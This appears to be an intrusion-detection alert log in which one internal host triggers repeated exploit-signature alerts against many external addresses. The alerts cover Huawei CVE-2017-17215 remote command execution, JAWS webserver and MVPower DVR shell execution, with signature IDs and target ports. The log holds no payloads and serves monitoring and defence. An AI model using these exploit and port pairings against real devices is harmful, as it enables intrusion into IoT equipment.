Timestamp:	06/10/24-15:37:59.815835
SID:	2025883
Source Port:	53776
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 205.141.193.122

Timestamp:	06/10/24-15:38:02.095481
SID:	2025883
Source Port:	57206
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.189.9.139

Timestamp:	06/10/24-15:38:02.791154
SID:	2829579
Source Port:	34792
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 66.136.9.144

Timestamp:	06/10/24-15:38:02.250043
SID:	2030092
Source Port:	44254
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.137.31.90

Timestamp:	06/10/24-15:38:00.224097
SID:	2829579
Source Port:	47094
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.213.216.105

Timestamp:	06/10/24-15:38:02.864253
SID:	2829579
Source Port:	47112
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.37.79.4

Timestamp:	06/10/24-15:37:59.979091
SID:	2835222
Source Port:	45156
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.58.68.31

Timestamp:	06/10/24-15:38:02.688716
SID:	2835222
Source Port:	42320
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.196.121.47

Timestamp:	06/10/24-15:38:02.671087
SID:	2829579
Source Port:	45274
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.69.228.208

Timestamp:	06/10/24-15:38:00.161493
SID:	2829579
Source Port:	33540
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 79.2.193.50

Timestamp:	06/10/24-15:38:02.104496
SID:	2030092
Source Port:	44402
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.57.17.164

Timestamp:	06/10/24-15:38:00.189175
SID:	2835222
Source Port:	58464
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.231.143.228

Timestamp:	06/10/24-15:38:02.648657
SID:	2829579
Source Port:	44284
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.225.243.209

Timestamp:	06/10/24-15:38:00.221508
SID:	2829579
Source Port:	54140
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.182.157.126

Timestamp:	06/10/24-15:38:02.765712
SID:	2829579
Source Port:	42732
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 173.150.225.180

Timestamp:	06/10/24-15:37:59.790906
SID:	2030092
Source Port:	41002
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.211.48.76

Timestamp:	06/10/24-15:38:00.008064
SID:	2829579
Source Port:	39324
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.253.209.134

Timestamp:	06/10/24-15:38:00.026295
SID:	2829579
Source Port:	43020
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 112.146.51.255

Timestamp:	06/10/24-15:38:02.087126
SID:	2030092
Source Port:	38432
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.127.189.142

Timestamp:	06/10/24-15:38:00.176046
SID:	2829579
Source Port:	41532
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.46.144.10

Timestamp:	06/10/24-15:38:02.721224
SID:	2829579
Source Port:	38284
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 97.242.25.160

Timestamp:	06/10/24-15:38:02.197579
SID:	2030092
Source Port:	45966
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 65.168.33.57

Timestamp:	06/10/24-15:38:02.154888
SID:	2030092
Source Port:	51870
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.165.201.247

Timestamp:	06/10/24-15:37:59.992068
SID:	2829579
Source Port:	49128
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.205.120.113

Timestamp:	06/10/24-15:38:00.029158
SID:	2829579
Source Port:	34938
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 195.50.200.227

Timestamp:	06/10/24-15:37:59.800000
SID:	2030092
Source Port:	42016
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.9.107.34

Timestamp:	06/10/24-15:37:59.976497
SID:	2835222
Source Port:	34932
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 94.124.142.214

Timestamp:	06/10/24-15:38:02.307423
SID:	2030092
Source Port:	42506
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.25.179.14

Timestamp:	06/10/24-15:38:00.211497
SID:	2829579
Source Port:	45922
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.62.210.214

Timestamp:	06/10/24-15:38:00.210637
SID:	2835222
Source Port:	50210
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 93.194.35.168

Timestamp:	06/10/24-15:38:02.188001
SID:	2030092
Source Port:	35812
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.72.64.165

Timestamp:	06/10/24-15:38:02.830775
SID:	2829579
Source Port:	37174
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 94.87.180.153

Timestamp:	06/10/24-15:38:02.092323
SID:	2025883
Source Port:	38082
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.254.58.48

Timestamp:	06/10/24-15:38:00.258740
SID:	2829579
Source Port:	53884
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.58.2.142

Timestamp:	06/10/24-15:38:02.739622
SID:	2829579
Source Port:	58650
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.254.151.216

Timestamp:	06/10/24-15:38:02.779348
SID:	2829579
Source Port:	39560
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 218.60.33.200

Timestamp:	06/10/24-15:38:02.126147
SID:	2030092
Source Port:	41096
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 184.225.110.223

Timestamp:	06/10/24-15:37:59.836086
SID:	2025883
Source Port:	40004
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.168.245.29

Timestamp:	06/10/24-15:38:00.192522
SID:	2829579
Source Port:	48172
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.19.238.181

Timestamp:	06/10/24-15:38:02.683936
SID:	2835222
Source Port:	59854
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.162.243.21

Timestamp:	06/10/24-15:38:00.022727
SID:	2829579
Source Port:	38164
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.230.96.138

Timestamp:	06/10/24-15:38:02.907506
SID:	2835222
Source Port:	51602
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.210.141.62

Timestamp:	06/10/24-15:38:02.664556
SID:	2829579
Source Port:	42468
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.211.89.221

Timestamp:	06/10/24-15:37:59.973058
SID:	2829579
Source Port:	56350
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.105.96.234

Timestamp:	06/10/24-15:38:00.193999
SID:	2829579
Source Port:	43578
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 194.172.51.155

Timestamp:	06/10/24-15:38:02.227858
SID:	2030092
Source Port:	49684
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 76.65.135.249

Timestamp:	06/10/24-15:38:02.214505
SID:	2030092
Source Port:	35392
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.254.128.168

Timestamp:	06/10/24-15:38:02.650837
SID:	2835222
Source Port:	42044
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 172.81.228.248

Timestamp:	06/10/24-15:38:02.112951
SID:	2030092
Source Port:	52482
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.189.36.162

Timestamp:	06/10/24-15:38:02.925765
SID:	2835222
Source Port:	55820
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.201.14.29

Timestamp:	06/10/24-15:37:59.964618
SID:	2829579
Source Port:	54370
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 20.163.218.116

Timestamp:	06/10/24-15:37:59.845254
SID:	2025883
Source Port:	60926
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 51.110.96.206

Timestamp:	06/10/24-15:38:02.203124
SID:	2030092
Source Port:	52872
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.26.2.2

Timestamp:	06/10/24-15:37:59.958705
SID:	2829579
Source Port:	44164
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.0.208.206

Timestamp:	06/10/24-15:38:02.637710
SID:	2835222
Source Port:	50306
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 118.254.40.208

Timestamp:	06/10/24-15:38:02.147810
SID:	2030092
Source Port:	58770
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.61.237.24

Timestamp:	06/10/24-15:38:02.649435
SID:	2829579
Source Port:	44504
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 70.109.71.255

Timestamp:	06/10/24-15:37:59.747937
SID:	2025883
Source Port:	32824
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.243.212.25

Timestamp:	06/10/24-15:38:00.253813
SID:	2835222
Source Port:	43078
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.31.27.232

Timestamp:	06/10/24-15:37:59.945412
SID:	2835222
Source Port:	53768
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.234.212.72

Timestamp:	06/10/24-15:38:02.811819
SID:	2835222
Source Port:	49442
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.193.239.253

Timestamp:	06/10/24-15:38:00.218073
SID:	2835222
Source Port:	45262
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.154.82.234

Timestamp:	06/10/24-15:38:00.274014
SID:	2829579
Source Port:	59706
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.116.99.196

Timestamp:	06/10/24-15:38:00.181485
SID:	2829579
Source Port:	48948
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 92.13.170.51

Timestamp:	06/10/24-15:38:02.132768
SID:	2030092
Source Port:	45504
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.69.40.39

Timestamp:	06/10/24-15:38:02.752803
SID:	2829579
Source Port:	57264
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 105.130.18.45

Timestamp:	06/10/24-15:38:02.101873
SID:	2030092
Source Port:	44802
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.244.78.206

Timestamp:	06/10/24-15:38:00.003802
SID:	2829579
Source Port:	33756
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.130.180.46

Timestamp:	06/10/24-15:38:00.021324
SID:	2829579
Source Port:	51562
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 86.248.77.229

Timestamp:	06/10/24-15:37:59.864921
SID:	2025883
Source Port:	37108
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 138.243.195.109

Timestamp:	06/10/24-15:38:02.106417
SID:	2030092
Source Port:	52408
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.63.241.27

Timestamp:	06/10/24-15:38:00.002137
SID:	2835222
Source Port:	54402
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 163.245.107.156

Timestamp:	06/10/24-15:38:02.233253
SID:	2030092
Source Port:	37170
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 31.24.128.114

Timestamp:	06/10/24-15:37:59.788491
SID:	2025883
Source Port:	46042
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.114.65.8

Timestamp:	06/10/24-15:38:02.501600
SID:	2829579
Source Port:	58548
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.70.83.42

Timestamp:	06/10/24-15:38:02.505632
SID:	2835222
Source Port:	42276
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.228.119.118

Timestamp:	06/10/24-15:38:02.710308
SID:	2829579
Source Port:	50128
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.98.83.218

Timestamp:	06/10/24-15:37:59.948276
SID:	2835222
Source Port:	46442
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 75.224.59.165

Timestamp:	06/10/24-15:38:02.123264
SID:	2030092
Source Port:	40360
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.54.19.9

Timestamp:	06/10/24-15:38:02.792332
SID:	2835222
Source Port:	51254
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.3.211.244

Timestamp:	06/10/24-15:38:02.843717
SID:	2835222
Source Port:	50194
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.160.21.128

Timestamp:	06/10/24-15:38:00.177056
SID:	2829579
Source Port:	39800
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.8.50.69

Timestamp:	06/10/24-15:38:02.865201
SID:	2829579
Source Port:	38730
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 13.225.119.16

Timestamp:	06/10/24-15:38:02.157293
SID:	2030092
Source Port:	55846
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.185.155.40

Timestamp:	06/10/24-15:38:02.502931
SID:	2829579
Source Port:	46240
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.122.109.42

Timestamp:	06/10/24-15:38:00.184599
SID:	2835222
Source Port:	59998
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.174.49.82

Timestamp:	06/10/24-15:38:02.788817
SID:	2829579
Source Port:	56284
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.179.78.181

Timestamp:	06/10/24-15:38:00.037044
SID:	2829579
Source Port:	33786
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 84.162.2.5

Timestamp:	06/10/24-15:37:59.806758
SID:	2025883
Source Port:	40556
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.128.86.63

Timestamp:	06/10/24-15:38:00.273128
SID:	2835222
Source Port:	42026
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 24.223.164.59

Timestamp:	06/10/24-15:38:02.195196
SID:	2030092
Source Port:	38620
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 115.165.178.143

Timestamp:	06/10/24-15:37:59.781384
SID:	2025883
Source Port:	37506
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.115.124.164

Timestamp:	06/10/24-15:38:02.492497
SID:	2829579
Source Port:	46236
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.89.132.28

Timestamp:	06/10/24-15:37:59.990322
SID:	2829579
Source Port:	37196
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.193.153.44

Timestamp:	06/10/24-15:38:02.786162
SID:	2835222
Source Port:	52216
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.94.37.133

Timestamp:	06/10/24-15:38:02.875172
SID:	2835222
Source Port:	45636
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.178.253.203

Timestamp:	06/10/24-15:38:00.234498
SID:	2835222
Source Port:	43084
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 31.54.174.172

Timestamp:	06/10/24-15:38:02.122172
SID:	2030092
Source Port:	60888
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 109.42.218.157

Timestamp:	06/10/24-15:38:02.297540
SID:	2030092
Source Port:	48660
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.146.151.12

Timestamp:	06/10/24-15:38:00.257346
SID:	2829579
Source Port:	32950
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.208.114.199

Timestamp:	06/10/24-15:38:02.653315
SID:	2829579
Source Port:	57296
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.15.80.136

Timestamp:	06/10/24-15:38:02.878023
SID:	2829579
Source Port:	59264
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.231.249.66

Timestamp:	06/10/24-15:38:02.695812
SID:	2829579
Source Port:	42650
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 211.65.87.166

Timestamp:	06/10/24-15:38:02.325384
SID:	2030092
Source Port:	60416
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.104.219.208

Timestamp:	06/10/24-15:38:02.934901
SID:	2835222
Source Port:	34102
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 150.177.195.126

Timestamp:	06/10/24-15:38:02.159318
SID:	2030092
Source Port:	41816
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.9.208.117

Timestamp:	06/10/24-15:38:02.681567
SID:	2829579
Source Port:	35328
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

